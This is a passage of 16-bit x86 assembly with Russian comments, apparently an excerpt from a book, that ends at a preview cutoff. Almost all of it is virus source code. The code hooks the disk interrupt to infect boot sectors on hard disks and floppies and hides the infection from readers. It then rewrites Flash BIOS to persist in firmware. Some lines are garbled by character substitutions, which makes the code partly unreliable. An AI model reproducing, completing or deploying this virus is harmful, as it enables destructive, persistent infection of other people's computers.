cmp cx, 1
jne jend
; Проверим номер головки. Если не 0, то запустим
; оригинальный обработчик
cmp dh, 0
jne jend
tryinfect:
; Считаем сектор в буфер (для дальнейшей обработки).
; Для этого вызовем оригинальный INT 13h
call int13h
jc jend
; Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
; Проверяем, заражен ли данный диск вирусом: читаем сигнатуру. ;
Если диск заражен, скрываем присутствие вируса
cmp word ptr es:[bx+offset marker], "LV"
je stealth
; Если диск не заражен, то заражаем
cmp dl, 80h
jb infect_floppy ; Установим номера дорожки, головки и сектора для жесткого
; диска для сохранения оригинального boot-сектора
mov cx, 2
xor dh, dh
jmp write_virus
infect_Floppy:
; Установим номера дорожки, головки и сектора для дискеты
; для сохранения оригинального boot-сектора
mov сх, 14
mov dh, 1
Write_Virus:
; Записываем оригинальный boot-сектор
mov ax, 0301h
call int-lSh
jc pop_exit
; Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es
; Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done, 0
; 3апишем тело вируса в boot-сектор
xor bx, bx
mov ax, 0301h
mov cx, 0001h
xor dh, dh
call int13h
; Восстановим регистры и флаги (как раз те их значения, которые
; свидетельствуют о том, что boot-сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
; Выходим из обработчика в вызывающую программу
retf2
; 3апуск оригинального обработчика
jend:
DD 0EAh ; Код команды JMP FAR ;
Оригинальный вектор INT13h
i13 DD 0
; Вызов прерывания INT 13h
int13h proc near
pushf
call dword ptr cs:[i13]
ret
int13h endp
; Первые два байта слова используются как сигнатура
Marker db "VLAD"
; Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
; Проверим наличие Flash BIOS
mov ax, 0e000h
int 16h
jc no_flash_bios
cmp al, 0FAh
jne no_flash_bios
; Сначала найдем хорошее место для хранения вируса.
; Просканируем память F000h-FFFFh, где обычно находится BIOS,
; на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
; но выделить нужно с запасом
infect_Flash:
; Остановим начальный сегмент для поиска
mov ax, 0F000h
mov ds, ax
; Проверим сегмент
New_segment:
; Остановим стартовое смещение
xor si, si
; Остановим счетчик найденных байт
; (величина свободного места для вируса)
xor dx, dx
ok_new_segment:
; Перейдем к следующему сегменту
inc ax
mov ds, ax
; Проверим, есть ли еще место для вируса
cmp ax, 0FFF0h
je no_flash_BIOS
; Проверим, свободно ли место (для скорости проверяем словами)
test16:
cmp word ptr [si], 0
jne new_segment
; Увеличим счетчик размера найденного свободного места
inc dx
; Проверим, достаточно ли найденного места. Сравниваем с 1 Кбайт, но
; так как память сканируем словами, сравниваем с 512 (1 Кбайт=512 слов)
cmp dx, 512
je found_storage
; Увеличим смещение проверяемого байта
inc si
inc si
; Сравним с 16. Переходим к следующему сегменту
; в начале каждого параграфа
cmp si, 16
je ok_new_segment
jmp test16
; B эту точку попадаем, если место найдено
Found_storage:
; Перейдем к началу зоны
sub ax, 40h
mov ds, ax
; Получим требования к сохранению состояния чипа
mov ax, 0E001h
int 16h
; Проверим, сколько памяти необходимо для сохранения состояния
; чипа. Если слишком много, не будем сохранять состояние
cmp bx, 512
jbe save_chipset
; Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset, 1
; Перейдем к записи
jmp write_enable
; Сюда попадаем, если Flash BIOS не обнаружен:
; записывать некуда – выходим
No_Flash_BIOS:
ret
; Сохраним состояние чипа
save_chipset:
; Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset, 0
; Сохраним состояние
mov al, 2
push cs
pop es
mov di, offset buffer
int 16h
; Записываемся во Flash BIOS
write_enable:
; Повышаем напряжение
mov al, 5
int 16h
; Разрешаем запись во Flash BIOS
mov al, 7
int 16h
; Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di, di
mov cx, 512
push cs
pop ds
xor si, si
cld
rep movsb
mov bx, es ; ВХ=сегмент вируса
xor ах, ах
mov ds, ax ; DS=Ta6nHua векторов
mov di, word ptr [19h*4] ; Смещение INT 19h
mov es, word ptr [19h*4+2] ; Сегмент INT 19h
; 3апишем JMP FAR по адресу точки входа в INT 19h
mov al, 0EAh
stosb
mov ax, offset int19handler
stosw
mov ax, bx
stosw
; Понизим напряжение
mov ax, 0E004h
int 16h
; 3ащитим Flash BIOS от записи
mov al, 6
int 16h
; Проверим, сохранялось ли состояние чипа, если нет – выходим
cmp byte ptr cs:chipset, 0
jne No_Flash_BIOS
; Восстановим состояние чипа
push cs
pop es
mov al, 3
mov di, offset buffer
int 16h
jmp No_Flash_BIOS
; Флаг несохранения состояния чипа
chipset db 0
Читать дальше
Конец ознакомительного отрывка
Купить книгу